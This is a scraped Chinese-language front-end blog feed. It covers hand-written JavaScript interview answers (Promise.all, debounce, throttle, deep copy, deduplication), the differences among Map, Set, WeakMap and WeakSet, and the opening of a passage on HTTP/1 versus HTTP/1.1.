26 27 28 29 30 31 32 33 34 35 36 37 38 39 function promiseAll(promises) { // 先檢查輸入是不是 array，如果不是的話就回傳錯誤 if (!Array.isArray(promises)) { return new TypeError(\u0026#39;Arguments must be an array\u0026#39;); } // 定義中有提到，如果輸入是空的，例如空 array，就 resolve 一個空 array if (promises.length === 0) { return Promise.resolve([]); } // 先宣告一個最終要 resolve 的 outputs，之後每個 promise 被 fulfilled 時，就放到 outputs 裡面 const outputs = []; // 我們需要這個 counter 讓我們知道有多少個 promise 已經 fulfilled let resolveCounter = 0; // Promise.all() 最終要回傳一個 promise return new Promise((resolve, reject) =\u0026gt; { promises.forEach((promise, index) =\u0026gt; { promise .then((value) =\u0026gt; { // 當輸入的每個 promise 成功 fulfilled 時，就放到 outputs // 透過 index，我們可以確保順序正確 outputs[index] = value; // 每次成功放入時，counter 要加一 resolveCounter += 1; // 當 counter 等於 promises 的長度時，代表所有的 promise 都 fulfilled // 這時最外面的 promise 就可以 resolve if (resolveCounter === promises.length) { resolve(outputs); } }) .catch(reject); // 如果有任何一個 reject，就直接 reject }); }); } 實現完整版的 Promise.all() 上面這個版本的 Promise.all() 只有處理 Array 這種輸入，但實際上的 Promise.all() 是能接收所有的 Iterable，因此我們可以進一步優化上面的版本(備註：在面試中能寫出上面的版本，基本上要過關是沒問題，當然如果想在面試中展現自己的細心度，那麼進一步優化是更好的選擇)。\n先想想，如果要處理任意的 Iterable 可以怎麼做？我們可以先判斷丟進來的輸入是不是可以迭代的，如果不是的話，就提早回傳錯誤。\n1 2 3 4 5 6 7 const isIterable = ((typeof promises === \u0026#39;object\u0026#39; \u0026amp;\u0026amp; promises !== null) || typeof promises === \u0026#39;string\u0026#39;) \u0026amp;\u0026amp; typeof promises[Symbol.iterator] === \u0026#39;function\u0026#39;; if (!isIterable) { return new TypeError(\u0026#39;Arguments must be iterable\u0026#39;); } 基本上多了上述步驟的處理，剩下的邏輯就跟 Array 版本的差不多，程式碼如下(不同之處會有註解)：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function promiseAll(promises) { // 判斷輸入是否為 Iterable const isIterable = ((typeof promises === \u0026#39;object\u0026#39; \u0026amp;\u0026amp; promises !== null) || typeof promises === \u0026#39;string\u0026#39;) \u0026amp;\u0026amp; typeof promises[Symbol.iterator] === \u0026#39;function\u0026#39;; // 不是的話就回傳錯誤訊息 if (!isIterable) { return new TypeError(\u0026#39;Arguments must be iterable\u0026#39;); } // 把 Iterable 轉成 Array，就可以重複用 Array 版的邏輯 promises = Array.from(promises); if (promises.length === 0) { return Promise.resolve([]); } const outputs = []; let resolveCounter = 0; return new Promise((resolve, reject) =\u0026gt; { promises.forEach((promise, index) =\u0026gt; { promise .then((value) =\u0026gt; { outputs[index] = value; resolveCounter += 1; if (resolveCounter === promises.length) { resolve(outputs); } }) .catch((e) =\u0026gt; { // 或是只要有 reject 的，就馬上 reject reject(e); }); }); }); } Promise.race() Promise.race() 是什麼？ 要實現這個方法前，我們要先知道它在做什麼。根據 MDN 的定義，Promise.race() 會\n接收一個內有多個 promises 的 Iterable，例如 Array、Map、Set 回傳最先 fulfill 或最先被 reject 的那一個 如何實現 Promise.race() 我們先直接看程式碼，看看你能了解多少。有不懂的地方也不擔心，下面會透過註解，一行行解釋：\n1 2 3 4 5 6 7 8 9 10 11 function promiseRace(promises) { return new Promise((resolve, reject) =\u0026gt; { for (const p of promises) { p.then((val) =\u0026gt; { resolve(val); }).catch((e) =\u0026gt; { reject(e); }); } }); } 讓我們透過以下程式碼與註解來看如何實現吧：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 function promiseRace(promises) { return new Promise((resolve, reject) =\u0026gt; { // 迭代過 promises for (const p of promises) { p.then((val) =\u0026gt; { // 只要有 fulfill 的，就馬上 resolve resolve(val); }).catch((e) =\u0026gt; { // 或是只要有 reject 的，就馬上 reject reject(e); }); } }); } Lodash 的 .get() Lodash 的 .get() 在做什麼？ .get() 是很常被用到的一個效用函式，他做的事情是給定一個物件，以及某個路徑，要回傳此路徑的值；如果該路徑不存在於給定的物件，則返回預設值。透過例子會比較好理解 (以下例子來自 Lodash 原始碼)\n1 2 3 4 5 6 7 8 9 10 const object = { a: [{ b: { c: 3 } }] }; //=\u0026gt; 3 get(object, \u0026#39;a[0].b.c\u0026#39;); //=\u0026gt; 3 get(object, \u0026#39;a[0][\u0026#34;b\u0026#34;][\u0026#34;c\u0026#34;]\u0026#39;); //=\u0026gt; \u0026#39;default get(object, \u0026#39;a[100].b.c\u0026#39;, \u0026#39;default\u0026#39;); 從上面的例子可以看到 Lodash 這個函式庫，可以接收各種類型的路徑，主要是原始碼當中有 castPath 這個 helper function。castPath 會把上面的 \u0026quot;a[0].b.c\u0026quot;、'a[0][\u0026quot;b\u0026quot;][\u0026quot;c\u0026quot;]' 以及 \u0026quot;a[100].b.c\u0026quot; 都轉成好處理的 ['a', '0', 'b', 'c']。\n因此，如果給定有內建的 castPath，.get() 實際在做的事情是：\n1 2 3 4 5 // 給定一個物件，例如 const object = { a: [{ b: { c: 3 } }] }; // 給一個路徑，透過 .get() 找到該路徑的值，例如 get(object, [\u0026#39;a\u0026#39;, \u0026#39;0\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;]); // 回傳 3 如何實現 .get() 一起來看看如何實現 .get()：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 function lodashGet(object, path, defaultValue) { // 先確認傳進來的 object 不是 null，如果是則直接回傳 defaultValue if (object == null) { return defaultValue; } let count = 0; const length = path.length; // 依循路徑一層層走過該物件，以上面的例子來說，會是 // path[0] 為 \u0026#39;a\u0026#39;，所以第一次迴圈 object 會變成 object[\u0026#39;a\u0026#39;] 也就是 [{ b: { c: 3 } }] // 第一次迴圈後，count 加 1，所以變成 object[path[1]] // 也就是 [object[\u0026#39;0\u0026#39;]]，意即 { b: { c: 3 } } // 接著 count 再加一，所以 object 會成為 object[path[2]] // 也就是 object[\u0026#39;b\u0026#39;]，意即 { c: 3 } // 接著 count 再加一，所以 object 會成為 object[path[3]] // 也就是 object[\u0026#39;c\u0026#39;]，意即 3 // 這時 count 為 4，由於 length 也是 4，因為 4 不小於 4，所以跳出迴圈 while (object != null \u0026amp;\u0026amp; count \u0026lt; length) { object = object[path[count++]]; } // 因為上面如果 object 是 null 的話，在走完 length 長度前，就會跳出 while 迴圈 // 這種情況下，就代表依循該路徑，會找不到值，所以會是 undefined // 舉例來說，如果 path 是 [\u0026#39;a\u0026#39;, \u0026#39;1\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;] // 因為 object[\u0026#39;1\u0026#39;] 會是 undefined，所以這時 while 迴圈會在 count 為 2 時終止 // 這種情況下就會是 count \u0026lt; length，所以當 count \u0026lt; length，result 會是 undefined const result = count \u0026amp;\u0026amp; count == length ？ object : undefined; // 如果 result 是 undefined，代表依循該路徑，會找不到值，所以回傳預設值 // 如果依循路徑有找到值，就回傳 result return result === undefined ？ defaultValue : result; } 防抖函式(debounce) 防抖(debounce) 和節流(throttle) 絕對是在考手寫題時最常出現的前幾名，這兩者都能做到優化，但使用情境不太相同。\n防抖(debounce)在做什麼？ 防抖函式(debounce)是指，將多次操作優化為：只在最後一次執行。\n具體來說，當一定時間內沒有持續觸發事件時，事件處理函式才會被執行一次，但如果在設定的時間內又一次觸發了事件，就會重新開始計時。\n在手寫**防抖(debounce)**函式前，我們先來了解防抖的使用情境。\n我們以 Google 搜尋框和搜尋建議列表為例子。畫面如下，有一個搜尋框，和一個搜尋建議列表，使用者在此搜尋框輸入文字後，搜尋建議列表會即時呈現結果; 搜尋框的文字只要一改變，搜尋建議列表也會即時更新結果。\n這樣看起來是很理想的設計吧？但首先要去解決一個問題：如果使用者一直在搜尋框內書寫文字，這樣會一直觸發 API 去更新搜尋建議列表，例如使用者想搜尋 javascript，這時 API 也及時觸發，所以此 API 會被觸發 10 次，而且前 9 次不會是使用這想要的結果。\n為了提升使用者體驗以及優化程式嗎，這一段功能我們就可以透過**防抖(debounce)**來優化。\n防抖函式會接受兩個參數：\n延遲的時間(ms) 要執行的函式 以上面搜尋框的例子來說，我們透過防抖就可以完成：當使用者停止在搜尋框內打入文字超過一定的時間，此時才會去執行觸發 API 的函式。\n如何實現防抖函式(debounce) 我們先直接看程式碼，看看你能了解多少。有不懂的地方也不擔心，下面會透過註解，一行行解釋：\n1 2 3 4 5 6 7 8 9 10 function debounce(fn, delay = 500) { let timer; return (...args) =\u0026gt; { clearTimeout(timer); timer = setTimeout(() =\u0026gt; { fn(...args); }, delay); }; } 程式碼註解版本和實際應用：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // debounce function 接受兩個參數 // 一是：要執行的 function // 二是：要延遲的豪秒數，這邊預設 500 毫秒 function debounce(fn, delay = 500) { let timer; // debounce function 最終會回傳一個 function return (...args) =\u0026gt; { // 每一次 debounce function 被觸發時，會先清除之前的 timer，避免觸發先前的 fn 函式 // 因此只要在 delay 時間內觸發 debounce function，就會一直清除先前的 timer，避免 fn 一直被執行 clearTimeout(timer); // 清除之後，再重新計時 // 當 delay 時間到時，執行 fn timer = setTimeout(() =\u0026gt; { fn(...args); }, delay); }; } // updateDebounceText 會在延遲 500 ms 後執行 console.log(\u0026#39;call api get search result\u0026#39;) const updateDebounceText = debounce((text) =\u0026gt; { console.log(\u0026#39;call api get search result\u0026#39;); }, 500); // 搜尋框監聽 input 事件，當 input 改變時 // 觸發 updateDebounceText 函式 searchInput.addEventListener(\u0026#39;input\u0026#39;, (e) =\u0026gt; { updateDebounceText(e.target.value); }); 節流函式(throttle) 節流(throttle)在做什麼？ **節流(throttle)**指的是，在一段時間內只會執行一次觸發事件的回調函式(callback)，若在這之中又有新事件觸發，則不執行此回調函式。\n在手寫**節流函式(throttle)**前，我們先來了解節流的使用情境。\n監聽滾動事件，是搭配節流的使用場景之一。舉例來說：要判斷使用者是否已經滑動到頁面的 30% 處，當到達時會觸發一些動畫效果，因此會透過監聽滾動事件時，計算是否已到達該位置，但如果只要一滾動就計算會非常消耗性能，透過**節流(throttle)**可以將計算的這個回調函式在固定時間內合併一次被執行。\n這裡不適合使用防抖的原因是，防抖只會在事件停止被觸發後的一段時間內被執行一次。因此如果用防抖，當使用者一直滑動頁面，函式就永遠不會被觸發。這邊我們仍想要函式在滑動過程中被觸發，只是不想那麼頻繁被觸發，這種情境下，節流就可以派上用場。\n**節流函式(throttle)**會接受兩個參數：\n延遲的時間(ms) 要執行的回調函式(callback) 如何實現節流函式(throttle) 我們先直接看程式碼，看看你能了解多少。有不懂的地方也不擔心，下面會透過註解，一行行解釋：\n1 2 3 4 5 6 7 8 9 10 11 function throttle(fn, delay = 500) { let timer = null; return (...args) =\u0026gt; { if (timer) return; timer = setTimeout(() =\u0026gt; { fn(...args); timer = null; }, delay); }; } 程式碼註解版本和實際應用：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function throttle(fn, delay = 500) { let timer = null; // throttle 本身會回傳一個函式，透過 ...args 拿到該函式的引數 return (...args) =\u0026gt; { // 如果有計時器，表示還在 delay 的秒數內 // 直接 return，不往下執行程式碼 if (timer) return; // 如果計時器不等於 null，會進到以下邏輯 // 設定計時器，在 delay 秒數之後，會執行回調函式 fn，並將計時器值為改為 null // 如果還不到 delay 的秒數，則 timer 的值不為 null，不會進到這段邏輯 // 可以達到 throttle 的目的，將一段時間內的操作，集合成一次執行 timer = setTimeout(() =\u0026gt; { fn(...args); timer = null; }, delay); }; } const updateThrottleText = throttle(() =\u0026gt; { console.log(\u0026#39;throttle\u0026#39;); }, 500); // 如果一直滑動畫面，會固定 500ms console.log(\u0026#39;throttle\u0026#39;) window.addEventListener(\u0026#39;scroll\u0026#39;, () =\u0026gt; { updateThrottleText(); }); 淺拷貝(shallow copy)與深拷貝(deep copy) 在 JavaScript 複製值時，當複製的是非**原始型別(primitive type)**的資料型別時，例如：物件(object)、**數組(array)**等，會遇到淺拷貝(shallow copy)和深拷貝(deep copy)的差異。在面試時被問到這兩者的差異，你會怎麼回答？如果要你當場手寫深拷貝，你會怎麼寫？\n比較淺拷貝(shallow copy) 和深拷貝(deep copy) 淺拷貝是指複製值時，原本的變數和新的變數會指向同一個址(reference)，換句話說，如果拷貝的物件內容有改變，原本的物件也會被改變。\n以下程式碼是一個簡單的例子。\n定義一個新變數 objB，並將其值賦予為 objA，此時改變 objB 也會同時改變 objA，因為這兩個變數是共享同一個址(reference)。\n1 2 3 4 5 6 7 8 9 10 11 let objA = { a: 1, b: 2, }; let objB = objA; objB.a = 3; // 因為是淺拷貝，objA 的 a 也會被改變 console.log(objA); //{a:3, b:2} console.log(objB); //{a:3, b:2} 相反地，深拷貝是指在拷貝時不共享相同的址(reference)。\n以上面的例子，如果 objB 是透過深拷貝創建出來，當我們在更改 objB 的值時，並不用擔心 objA 的值會同樣被更動到。\n補充說明，在拷貝值時，有可能會遇到變數是多層的情境，例如是一個物件裡還有物件，深拷貝的定義會是每一層的值都不會共享址(reference)。以 lodash 這個套件提供的效用函式舉例，也是分成 clone 和 cloneDeep 兩種不同效用函式，clone 只用於淺拷貝(第一層拷貝)，但 cloneDeep 可用於深拷貝。\n1 2 3 4 5 6 7 8 9 10 11 // lodash 的淺拷貝 clone var objects = [{ a: 1 }, { b: 2 }]; var shallow = _.clone(objects); console.log(objects === shallow); // false console.log(shallow[0] === objects[0]); // true // lodash 的深拷貝 cloneDeep var objects = [{ a: 1 }, { b: 2 }]; var deep = _.cloneDeep(objects); console.log(objects === deep); // false console.log(deep[0] === objects[0]); // false 在說明完淺拷貝與深拷貝的差別後，常見的接續問題是「手寫」淺拷貝與深拷貝。\n假如你不確定怎麼手寫這兩種拷貝方式，可以繼續往下看。\n如何實現淺拷貝(shallow copy) 方法一：手動複製值 1 2 3 4 5 6 7 8 9 let objA = { a: 1, b: { c: 3 }, }; let objB = { a: objA.a, b: objA.b }; console.log(objA === objB); // false console.log(objA.b === objB.b); // true, 第二層的物件還是指向相同位置 方法二：使用 spread syntax 1 2 3 4 5 6 7 8 9 let objA = { a: 1, b: { c: 3 }, }; let objB = { ...objA }; console.log(objA === objB); // false console.log(objA.b === objB.b); // true, 第二層的物件還是指向相同位置 方法三：使用 Object.assign 1 2 3 4 5 6 7 8 9 let objA = { a: 1, b: { c: 3 }, }; let objB = Object.assign({}, objA); console.log(objA === objB); // false console.log(objA.b === objB.b); // true, 第二層的物件還是指向相同位置 如何實現深拷貝(deep copy) 方法一：使用 JSON.parse(JSON.stringify(...)) 這個作法是先將物件用 JSON.stringify 序列化為 string，再透過 JSON.parse 反序列化轉換回物件。\n要特別注意，這做法只能用於可序列化的物件，有些無法序列化的物件例如：function、HTML 的元素，這些是無法序列化的！所以執行前，需要先確認是否可以序列化，否則在執行 JSON.stringify 時會失敗。\n1 2 3 4 5 6 7 8 9 10 11 12 13 let objA = { a: 1, b: { c: 3 }, }; function deepCopy(item) { return JSON.parse(JSON.stringify(item)); } let objB = deepCopy(objA); console.log(objA === objB); // false console.log(objA.b === objB.b); // false 方法二：使用 structuredClone(value) 針對可序列化的物件，有另外一種透過 JavaScript 內建的方法達成深拷貝。這種方法是 structuredClone(value)，用法如下：\n1 2 3 4 5 6 7 8 9 let objA = { a: 1, b: { c: 3 }, }; let objB = structuredClone(objA); console.log(objA === objB); // false console.log(objA.b === objB.b); // false 方法三：考慮多重情況的遞迴式深拷貝 通常在面試中，用上述兩種方式，可能會被面試官追問說，如果不用這種現成的方法，要如何手寫？\n以下的寫法是透過遞迴的方式，來進行深拷貝：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function deepClone(obj) { // 確認是不是原始型態，如果是的話就直接回傳 if (obj === null || typeof obj !== \u0026#39;object\u0026#39;) { return obj; } // 確認是不是 Date 或 RegExp 這種特殊型態，是的話就透過建構式複製一個相同的值，然後回傳 if (obj instanceof Date || obj instanceof RegExp) return obj.constructor(obj); // 看 obj 是物件還是陣列，然後先建一個新的空物件 (或空陣列) let result = Array.isArray(obj) ? [] : {}; // 透過 Ojbect.entries 來迭代，然後遞迴地對每個值深拷貝 // 因為 Object.entries 不會列舉整個原型鍊 (prototype chain) // 所以不用透過 obj.hasOwnProperty(key) 額外檢查是不是非原型鏈上的屬性 for (const [key, value] of Object.entries(obj)) { result[key] = deepClone(value); } // 最後回傳結果 return result; } 陣列去除重複(remove duplicates)方法 在陣列中把重複的項目去除掉，是很常在實際工作中需要執行的操作。因此在 JavaScript 面試時，也很常會被問。這種題目通常會要當場手寫，所以假如你不太確定要怎麼手寫去除重複，一定要在面試前多練習幾次。\n陣列去除重複題目長什麼樣？ 陣列去除重複的面試題，通常會像下面這樣，給一個陣列，裡面有重複的數字，並要求寫一個 removeDuplicate 函式，輸入是原始陣列，輸出是去除重複數字的陣列。\n1 2 3 4 5 6 7 8 const originalArr = [9, 1, 2, 2, 3, 4, 2, 4, 8, 1, 9] function removeDuplicate(array){ // ... } const ans = removeDuplicate(originalArr); console.log(ans) // [9, 1, 2, 3, 4, 8] 陣列去重複其實有很多種做法，以下會列出 4 種常見做法。在面試考手寫題時，陣列去重複有可能是單獨一種題型，或者是在解手寫題時一開始需要將陣列進行去重複的操作。\n建議詢問面試官題目的需求、主動跟面試官討論期望的解法，再選擇要使用哪一種解法。\n四種解法 解法一：使用 Set 去重複 Set 的資料格式與用法類似於 Array，但有一特色是 Set 中只能儲存任何資料的唯一值，因此可以先將 Array 轉為 Set，此時重複的值會被移除，再將 Set 轉為 Array。程式碼如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 function removeDuplicate(arr) { return Array.from(new Set(arr)); } // 也可以利用 spread syntax 更簡化程式碼 // function removeDuplicate(arr) { // return [...new Set(arr)]; // } let arr = [1, 2, 3, 2, 3, 8]; let arrAfter = removeDuplicate(arr); console.log(arr1After); // [1, 2, 3, 8] 解法二： filter 搭配 indexOf 此解法先用 array 的 filter 方法，搭配 indexOf 方法，只保留第一次出現的值，所以只要是第二次出現的，就會被篩掉，這能確保結果不會有重複的。程式碼如下：\n1 2 3 4 5 6 7 8 9 10 11 12 function removeDuplicate(arr) { // indexOf 會回傳在這個 array 等同於此值第一個 item 的 index， // 所以如果 indexOf 回傳的 index 相等於目前 filter 到的值， // 則代表該值是第一次出現，我們保留起來， // 反之，如果 index 不等於，則代表此 array 中前面位置已經出現過，所以就 filter 掉。 return arr.filter((item, index, array) =\u0026gt; array.indexOf(item) === index); } let arr = [1, 2, 3, 2, 3, 8]; let arrAfter = removeDuplicate(arr); console.log(arrAfter); // [1, 2, 3, 8] 解法三： 雙層 for loop 雙層 for loop 是一種暴力解。依序遍歷整個 array，再透過第二層 for loop 找出重複的值將其移除。程式碼如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function removeDuplicate(arr) { // 第一層 for loop，i 從 index 0 開始，到 arr 最後 for (let i = 0, len = arr.length; i \u0026lt; len; i++) { // 第二層 for loop，j 從 i + 1 開始，要檢查值是否重複 for (let j = i + 1; j \u0026lt; len; j++) { // 如果值重複，則透過 splice 方法將 j 位置的值從 arr 去除 if (arr[i] == arr[j]) { arr.splice(j, 1); // 移除重複的值之後，arr length 長度會需要減 1 len--; // j 位置的值被移除，因此 j index 也要減 1 j--; } } } return arr; } let arr = [1, 2, 3, 2, 3, 8]; let arrAfter = removeDuplicate(arr); console.log(arrAfter); // [1, 2, 3, 8] 解法四： 透過 object 或 Map 儲存以遍歷過的項目 我們可以透過 object 或 Map 來儲存已經遍歷過的項目，來找出是否已存在陣列當中，如果還不在，那就放進要輸出的陣列；如果已經在了，就不再放入，這樣一來能確保陣列中沒有重複的值。程式碼如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function removeDuplicate(arr) { let seen = {}; let newArray = []; // 遍歷過原本的陣列 for (let item of arr) { // 判斷當前被遍歷到的項目是否已經放入過 if (seen[item] !== true) { newArray.push(item); // 如果還沒，則放入要被輸出的新陣列 seen[item] = true; // 這時紀錄一下這個項目已經被放入，下次就不會再被放入 } } return newArray; } let arr = [1, 2, 3, 2, 3, 8]; let arrAfter = removeDuplicate(arr); console.log(arrAfter); // [1, 2, 3, 8] ","date":"2022-12-26T00:00:00Z","image":"https://live.staticflickr.com/65535/52586703288_92fa0363b4_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-26/js-rebuild-common-function/","title":"前端面試常考的 JavaScript 手寫題彙整"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\nES6 推出了 Map 物件，讓開發者可以透過這個特製資料結構進行鍵值對(key-value pairs)的操作。然而 JavaScript 原始物件(plain object)就可以用來做鍵值對的操作，為什麼還需要 Map 物件呢？ Map 物件解決了什麼問題？那與 Set 又有什麼不同呢？本篇來詳細說明一下。\nMap 與 object 的差別 原始物件的鍵(key)只可以是字串，但 Map 的鍵可以是任何東西 在用鍵值對處理資料時，很常開發者會用各類東西做為鍵(key)，但是在 JavaScript，如果用原始物件，不管用什麼當做鍵，都會被轉換成字串，這往往會造成一切錯誤，例如被轉成字串時，原本兩格不同的鍵被轉成同樣的字串，這就導致撞鍵問題。而 Map 物件解決了這個問題，開發者想用什麼當鍵都可以。\n原始物件不支援迭代(iteration)，但 Map 物件有 過去我們沒辦法直接對一個原始物件用 for...of、forEach 來迭代，而是需要用額外的方法，例如 Object.entries、Object.keys 來協助。但是 Map 物件是可迭代的(iterable)，所以我們可以直接對 Map 物件用 for...of、forEach。\n原始物件的元素沒有順序性，Map 物件則有順序 上面提到 Map 物件是可迭代的，它有一個相關的優點是在迭代時是有順序性的。過去用原始物件，即使用用物件方法 (例如 Object.entries、Object.keys 來協助迭代)，迭代出的結果順序不一定會是我們放入鍵值對的順序。\n但有時候在寫演算法時，我們需要保留順序，這時 Map 物件就會好用很多。\nMap 提供許多鍵值對常用的方法，但原始物件沒有 舉例來說，如果要知道一個鍵值對的大小，Map 有 size 方法，簡單又好用；但如果用原始物件，我們可能需要使用 Object.keys 然後搭配 .length 去自己找該物件有多少個鍵，這就麻煩很多。\n另外 Map 也有提供 clear 方法，可以一次把所有鍵值對刪掉；如果是原始物件就需要一個一個刪。\nMap 類似於 Object 的資料結構，都是用鍵與值(key-value pair)的形式儲存資料格式，但還是有許多差異。\nMap 本身是一種構造函式，用來生成 Map 這種數據結構，具體做法是 new Map() 來生成實例。\n常見操作方法 Map 常見操作方法有\nset(key, value)： Map 新增元素。 get(key)： 透過鍵(Key)查詢特定元素，並返回。 has(key)： 判斷 Map 中是否存在某鍵(key)。 delete(key)： 透過鍵(Key)從 Map 中移除特定元素。 size： 方法得到元素的數量。 常見遍歷方法 Map 常見遍歷方法(遍歷順序會是插入順序)\nvalues()： 返回 Map 中所有元素的值。 keys()： 方法等同於 values()。 entries()： 返回 Set 中所有的元素，因在 Set 中沒有鍵值(Key)，返回的元素會是 [value, value] 的形式。 Map 和 WeakMap 的區別 WeakMap 的方法和使用部分與 Map 資料結構相近，本區塊會專注在這兩者不同之處。\nWeakMap 只允許物件(Object) 作為鍵名(key)，但是 null 除外。而 Map 則是可接受各種資料類型作為鍵名(key)。 WeakMap 中的鍵名是**「弱引用」(weak reference)**，鍵名(key)所指向的對象可以被垃圾回收，此時的鍵名(key)是無效的。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 如果放入的物件在外面沒有其他引用，在 WeakMap 中會被垃圾回收掉 let food = new WeakMap(); let fruit = { name: \u0026#39;apple\u0026#39; }; food.set(fruit, \u0026#39;good\u0026#39;); // 將 apple 物件置入 WeakMap 中 fruit = null; // 移除 apple 的引用 console.log(food); // WeakMap(0) fruit 已經被垃圾回收，因此 WeakMap 中沒有項目 // 一般的 Map，即使放入的物件在外面沒有其他引用，仍在 Map 當中存放 let food = new Map(); let fruit = { name: \u0026#39;apple\u0026#39; }; food.set(fruit, \u0026#39;good\u0026#39;); console.log(food); // WeakMap(1) fruit = null; console.log(food); // WeakMap(1) fruit 不會被垃圾回收 在上方的強引用程式碼中，雖然 fruit 物件最後被重新賦值為 null (意思等同於無法再透過 fruit 變數獲取該對象值，因為其中的引用被斷開)，但由於 food 與此物件間存在強引用，所以被保留在記憶體中，這就是前面提到的，強引用會防止物件被垃圾回收，並將物件保留在記憶體當中； 弱引用則相反，並不能防止物件被垃圾回收，當 JavaScript 執行環境執行垃圾回收時，上述弱引用例子中的 fruit 物件會被從記憶體和 WeakMap 中刪除。\n弱引用的適用情境在於，如果引用的物件在未來可能會被刪除的情況、且不想防止被垃圾回收時，就適合用 WeakMap 或 WeakSet。例如，如果我們想要記錄一些與 DOM 節點相關的數據，有一種方法是使用 Expando 擴充節點上的資訊，但壞處是會直接修改到這個 DOM 節點、且如果未來這個節點被移除時，相關資訊不會被垃圾回收掉，這時如果是使用 WeakMap 就會是很好的替代方案。\n備註： 如果直接將弱引用程式碼的例子在 JavaScript 執行環境中執行，可能還是會看到 WeakMap 中有值，這是因為 JavaScript 執行環境會在特定的時間點執行垃圾回收。\nSet Set 這個數據結構類似陣列，但是裡面的元素值都是唯一，不會有重複的值，無論此值是原始型別(primitive values)或引用型別(object references)。在 JavaScript 當中，Set 本身是一種構造函式，用來生成 Set 這種數據結構，具體的做法是透過 new Set() 來生成實例。\n常見操作方法 Set 常見操作方法有\nadd(value)： 用來新增值。 delete(value)：用來刪除每個 Set 中的值。 has(value)：判斷 Set 中是否存在每個值。 size： 方法得到元素的數量，與陣列使用 arr.length 方法不一樣。 Set 中沒有鍵值(Key)，如果使用 entries() 遍歷，返回的元素會是 [value, value] 的形式。\n1 2 3 4 5 6 7 8 9 10 11 const set1 = new Set(); set1.add(42); set1.add(\u0026#39;forty two\u0026#39;); const iterator1 = set1.entries(); for (const entry of iterator1) { console.log(entry); // expected output: [42, 42] // expected output: [\u0026#34;forty two\u0026#34;, \u0026#34;forty two\u0026#34;] } Set 和 WeakSet 的區別 WeakSet 的方法和使用部分與 Set 資料結構相近，本區塊會專注在這兩者不同之處。\nWeakSet 內的元素值只允許是物件(Object)，但 Set 可接受各種資料類型的值。 1 2 3 4 5 6 7 const wSet = new WeakSet(); const a = [1, 2, 3]; const b = { name: \u0026#39;explainthis\u0026#39; }; wSet.add(a); // WeakSet {Array(3)} wSet.add(b); // WeakSet {{...}} wSet.add(1); // Uncaught TypeError: Invalid value used in weak set WeakSet 內的元素都是**「弱引用」(weak reference)**，可以被垃圾回收機制回收。假如使用 Set ，即使某個被存入的值，在其他地方已經沒有被引用，該值仍會存在於 Set 當中，不會被垃圾回收。但如果是 WeakSet，則會被垃圾回收。如果要更有意識地做記憶體管理，WeakSet 在許多時候能派上用場。 1 2 3 4 5 6 7 const disableElements = new WeakSet(); const loginButton = document.querySelector(\u0026#39;#login\u0026#39;); disableElements.add(loginButton); // 使用的時候通過查詢元素是否在集合中，就可以知道它是否被禁用。而一旦元素从DOM樹中删除， // WeakMap也會釋放其内存（為了嚴謹，假設没有其它地方引用這個對象）。 disableElements.has(loginButton); // true ","date":"2022-12-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52576483407_0c40603733_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-21/js-map-set-difference/","title":"Javascript 中，Map、Set、WeakMap 和 WeakSet 的區別？"},{"content":" 參考網站\n參考網站\n從 1989 年起，HTTP 經歷了數代的演化，從 1 到 1.1 再到 2 以及目前的 3，這些不同版本有些什麼不同呢？不管是前端或後端的面試，都是經常會考的。這篇我們會先針對 1 到 1.1 再到 2 之間的異同處做摘要。\n出現時間 超文本傳輸協定 HTTP (HyperText Transfer Protocol) 是在網際網路中用來通信數據的基礎。HTTP 一開始的發展是從 1989 年所發起制定，其中經過幾個時期的演進，HTTP/1.1 是隨著在 1999 年 6 月公布的 RFC 2616 所發表 。HTTP/2 (最初命名為 HTTP 2.0) 則是在 2015 年 5 月以 RFC 7540 正式發表，並取代 HTTP/1.1 成為 HTTP 的實作標準。截至 2021 年 10 月，全球有 46.5%的網站支援了 HTTP/2 (wiki)。\nHTTP/1 和 HTTP/1.1 差異 往下讀之前，要先理解之所以會有 HTTP/1.1 是因為 HTTP/1 有一些不那麼理想的地方。因此建議不要死背差異，而是從「 HTTP/1.1 解決了什麼問題」出發來理解。\n持久連接 (keep-alive) HTTP/1 在發送每個請求之前都需要建立一個新的連接，而每次連接都是有成本的，這種每次重連的方式會造成很多頻寬的浪費，以及時間的延遲。而 HTTP/1.1 默認使用持久連接，讓 HTTP/1.1 可以使用同一個 TCP 連接來重複多個 HTTP 請求，這麼一來就可以避免每次重新建立連接造成的頻寬浪費、時間延遲。\n狀態碼 100 (Continue) 在某些情況下，伺服器端會拒絕客戶端發送的請求，因為發請求時可能會夾帶正文 (request body)，所以每次請求被拒絕都會造成頻寬上的額外浪費。在 HTTP/1 沒有機制避免這種類型的浪費，而 HTTP/1.1 的 100 (Continue) 狀態碼則可以協助我們避免這種浪費。具體來說，HTTP/1.1 讓使用者端先送出一個只含有標頭、不帶內文的請求到伺服器，伺服器確認沒有問題之後，會回應狀態碼 100 (Continue)；收到 100 (Continue) 後，客戶端才會正式發一個帶有正文的請求；如果沒有收到，則代表伺服器端不接受該請求，這讓客戶端知道伺服器端不接受，這能讓客戶端可以避免發帶有正文的請求，進而減少傳輸上的頻寬浪費。(詳細請見 RFC 的這個段落)。\n快取緩存 HTTP/1 主要使用標頭中的 If-Modified-Since、Expires 來做為緩存的判斷標準，這兩者都是以時間作為依據；HTTP/1.1 